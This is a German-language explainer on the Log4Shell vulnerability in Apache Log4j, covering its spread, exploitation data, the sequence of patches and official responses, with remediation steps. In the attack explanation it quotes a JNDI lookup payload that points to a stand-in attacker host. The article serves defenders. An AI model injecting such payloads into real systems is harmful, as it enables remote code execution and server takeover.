Schwachstelle4 Min. Lesezeit

Log4Shell: Wenn eine Log-Zeile den Code des Angreifers startet

Eine Lücke in der Java-Bibliothek Log4j ließ Angreifer mit einer Textzeile Server übernehmen. Wie das ging, wie weit es reichte, was jetzt zu tun ist.

Illustration: ein Ring mit dem CVSS-Wert 10,0, dazu der Titel Log4Shell

Sofortmaßnahmen

  1. Aktualisiere Log4j auf 2.17.1 oder neuer; unter Java 7 nimm 2.12.4, unter Java 6 2.3.2.
  2. Such Log4j auch in anderen Produkten: Die meisten Pakete binden es über andere Pakete ein. Frag deshalb deine Softwarehersteller, ob ihre Versionen behoben sind.
  3. War eine alte Version jemals aus dem Internet erreichbar, prüfe Logs und Systeme auf Spuren eines Angriffs: Die ersten Versuche gab es am 1. Dezember 2021, bevor die Lücke öffentlich war.
Jahr
2021
CVSS-3.1-Wert
10,0 kritisch
Java-Pakete auf Maven Central nutzten den fehlerhaften Code, mehr als 8 % aller (Google)
35.863
der Unternehmensnetze weltweit sahen bis zum 20. Dezember 2021 Angriffsversuche (mehr als; Daten von Check Point)
48 %
Warum der Fall auf der Liste steht
  • Reichweite nicht erfüllt

    35.863 Java-Pakete auf Maven Central, mehr als 8 % aller, nutzten den fehlerhaften Code (Google, 16. Dezember 2021). Das ist weniger als ein Zehntel. Eine Zahl betroffener Systeme ist nicht dokumentiert.

  • Massenausnutzung erfüllt

    Angriffsversuche erreichten bis zum 20. Dezember 2021 mehr als 48 % der Unternehmensnetze weltweit (Herstellerdaten von Check Point).

  • Schaden nicht erfüllt

    Ein Gesamtschaden ist nicht dokumentiert. Laut dem US-amerikanischen Cyber Safety Review Board wurde die Lücke weniger ausgenutzt, als viele Fachleute vorhergesagt hatten (CSRB, Juli 2022).

  • Außergewöhnliche Reaktion erfüllt

    Das BSI stufte seine Warnung am 11. Dezember 2021 auf die Warnstufe Rot hoch (BSI). Die CISA erließ am 17. Dezember die Notfallanweisung 22-02 (CSRB-Bericht).

Wie eine Schwachstelle auf diese Liste kommt

Steckbrief
BetroffenApache Log4j 2, eine Logging-Bibliothek für Java-Programme
CVECVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Schwachstellentyp (CWE)CWE-917, CWE-20, CWE-674
Behoben inLog4j 2.17.1, 2.12.4 (Java 7) und 2.3.2 (Java 6); erster Fix 2.15.0 am 10. Dezember 2021
In der CISA-Liste ausgenutzter Schwachstellen seit10. Dezember 2021
Gefunden vonAlibaba Cloud Security Team
Zeitleiste
123456
  1. 1Dem Hersteller gemeldet
  2. 2Erste Angriffe beobachtet+7 Tage
  3. 3Veröffentlicht+15 Tage
  4. 4Patch verfügbar+16 Tage
  5. 5Das BSI stuft seine Warnung auf die Warnstufe Rot hoch+17 Tage
  6. 6Die CISA erlässt die Notfallanweisung 22-02 für US-Bundesbehörden+23 Tage

Am 9. Dezember 2021 machte ein Beitrag auf Twitter eine Sicherheitslücke in Log4j öffentlich. Log4j ist eine Bibliothek der Apache Software Foundation. Java-Programme schreiben damit Logs, also Protokolle darüber, was ein Programm tut. Wenn ein solches Programm eine kurze Textzeile von einem Angreifer protokollierte, konnte der Server den Code des Angreifers laden und ausführen. Ein Passwort war dafür nicht nötig.

Die US-amerikanische National Vulnerability Database bewertet die Lücke, bekannt als Log4Shell, mit 10,0, dem höchstmöglichen Wert.

So funktionierte der Angriff

Log4j schreibt nicht nur Log-Meldungen. Es wertet auch Platzhalter darin aus, sogenannte Lookups, die wie ${...} aussehen. Einer dieser Lookups, JNDI, lässt die Bibliothek ein Objekt von einem Verzeichnisserver im Netz abrufen. Ein Angreifer musste nur eine Zeichenfolge wie ${jndi:ldap://attacker.example/x} in etwas einschleusen, das der Server protokollierte. Das konnte ein Benutzername sein, eine Chat-Nachricht oder der Browsername, den eine Webanfrage üblicherweise mitschickt. Der Server kontaktierte dann den Verzeichnisserver des Angreifers und erhielt einen Verweis auf ein Java-Programm. Je nach Java-Version und vorhandenen Bibliotheken lud und startete er dieses Programm.

  1. Angreifersendet eine Anfrage mit einem Lookup-Text
  2. Log4jprotokolliert den Text und wertet den Lookup aus
  3. Servernimmt Kontakt zum Verzeichnisserver des Angreifers auf
  4. Javalädt den Code des Angreifers und führt ihn aus
Log4Shell in vier Schritten: Der Angreifer meldet sich nie an. Es reicht, dass der Server den Text in sein Log schreibt.

Reichweite, Angriffe und Schaden

Maven Central ist die wichtigste öffentliche Sammlung von Java-Bibliotheken. Am 16. Dezember 2021 zählte Google dort 35.863 Java-Pakete, die vom fehlerhaften Log4j-Code abhingen. Das sind mehr als 8 % aller Pakete in der Sammlung, während ein durchschnittlicher Sicherheitshinweis für Maven Central 2 % betrifft. Nur etwa 7.000 dieser Pakete nutzten Log4j direkt. Die übrigen bezogen es über andere Pakete, meist fünf Ebenen tief.

Java-Pakete auf Maven Central und Log4Shell
Betroffene Pakete35.863
Davon mit Log4j als direkter Abhängigkeit (etwa)7.000
Nach weniger als einer Woche behoben4.620

Quelle: Google Open Source Insights, 16. und 17. Dezember 2021.

Die Angriffe begannen, bevor die Lücke öffentlich war. Cloudflare sah am 1. Dezember, acht Tage vor der Veröffentlichung, erste vereinzelte Tests. Den ersten Angriffsversuch registrierte Cloudflare nur neun Minuten nach dem Beitrag.

Von Cloudflare blockierte Log4Shell-Angriffe
10. Dezember5.483
11. Dezember18.606
12. Dezember27.439
13. Dezember24.642

Blockierte Anfragen pro Minute, Tagesdurchschnitt, Dezember 2021. Herstellerdaten von Cloudflare.

Fünf Tage nach der Veröffentlichung zählte Cloudflare 400 Versuche pro Sekunde, wie das US-amerikanische Cyber Safety Review Board festhielt. Bis zum 20. Dezember hatte das Sicherheitsunternehmen Check Point mehr als 4,3 Millionen Versuche blockiert. Es hatte Angriffsversuche auf mehr als 48 % der Unternehmensnetze weltweit gesehen. Das sind gezählte Versuche in den eigenen Daten des jeweiligen Herstellers, keine erfolgreichen Einbrüche. Die Zahlen lassen sich nicht miteinander vergleichen.

Unternehmensnetze mit mindestens einem Angriffsversuch
Österreich59 %
Deutschland54 %
Schweiz47 %
USA46 %

Herstellerdaten von Check Point, Stand 13. Dezember 2021.

Wie groß der Schaden war, ist nicht dokumentiert. Das Cyber Safety Review Board untersuchte 2022 den Fall. Es stellte fest, dass die Lücke weniger ausgenutzt wurde als von vielen Fachleuten angesichts ihrer Schwere vorhergesagt. Es betonte zudem, dass es keine verlässlichen Daten zur Ausnutzung gibt. Die Kosten lagen vor allem in der Reaktion: Allein ein US-Bundesministerium meldete 33.000 Arbeitsstunden für Log4j.

Fix und Reaktion

Das Alibaba Cloud Security Team meldete die Lücke am 24. November 2021 an Apache. Apache übernahm am 5. Dezember einen Fix in den Quellcode und stellte am 10. Dezember Version 2.15.0 bereit. Dieser Fix war unvollständig. Es folgten drei weitere Versionen.

Vier Log4j-Versionen in 17 Tagen
1234
  1. 12.15.0 schränkt JNDI-Lookups ein, lässt aber eine Lücke
  2. 22.16.0 entfernt Lookups in Meldungen und schaltet JNDI standardmäßig ab+3 Tage
  3. 32.17.0 behebt einen Lookup, der sich so lange wiederholt, bis das Programm abstürzt+7 Tage
  4. 42.17.1 behebt einen Angriff über das Protokollieren in Datenbanken+17 Tage

Die Folgelücken erhielten eigene CVE-Nummern. CVE-2021-45046, die verbliebene Lücke in 2.15.0, ist mit 9,0 bewertet. CVE-2021-45105, der Absturz, ist mit 5,9 bewertet. CVE-2021-44832, mit 6,6 bewertet, lässt sich nur ausnutzen, wenn ein Angreifer die Log-Einstellungen bereits ändern kann. Für Programme auf älteren Java-Versionen veröffentlichte Apache 2.12.4 für Java 7 und 2.3.2 für Java 6.

Behörden reagierten schnell. Die US-Cybersicherheitsbehörde CISA nahm Log4Shell am 10. Dezember in ihre Liste ausgenutzter Schwachstellen auf, am Tag des ersten Fixes. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte seine Warnung am 11. Dezember auf die Warnstufe Rot hoch. Am 17. Dezember erließ die CISA die Notfallanweisung 22-02, eine Anordnung, die US-Bundesbehörden befolgen müssen.

Auch Jahre später noch im Einsatz

Viele Kopien blieben ungepatcht. Google rechnete mit einer langen Wartezeit, wahrscheinlich Jahren, bis das ganze Maven-Ökosystem bereinigt wäre. Laut Sonatype enthielten 2025 noch immer etwa 13 % aller Log4j-Downloads die Lücke Log4Shell, das sind rund 40 Millionen.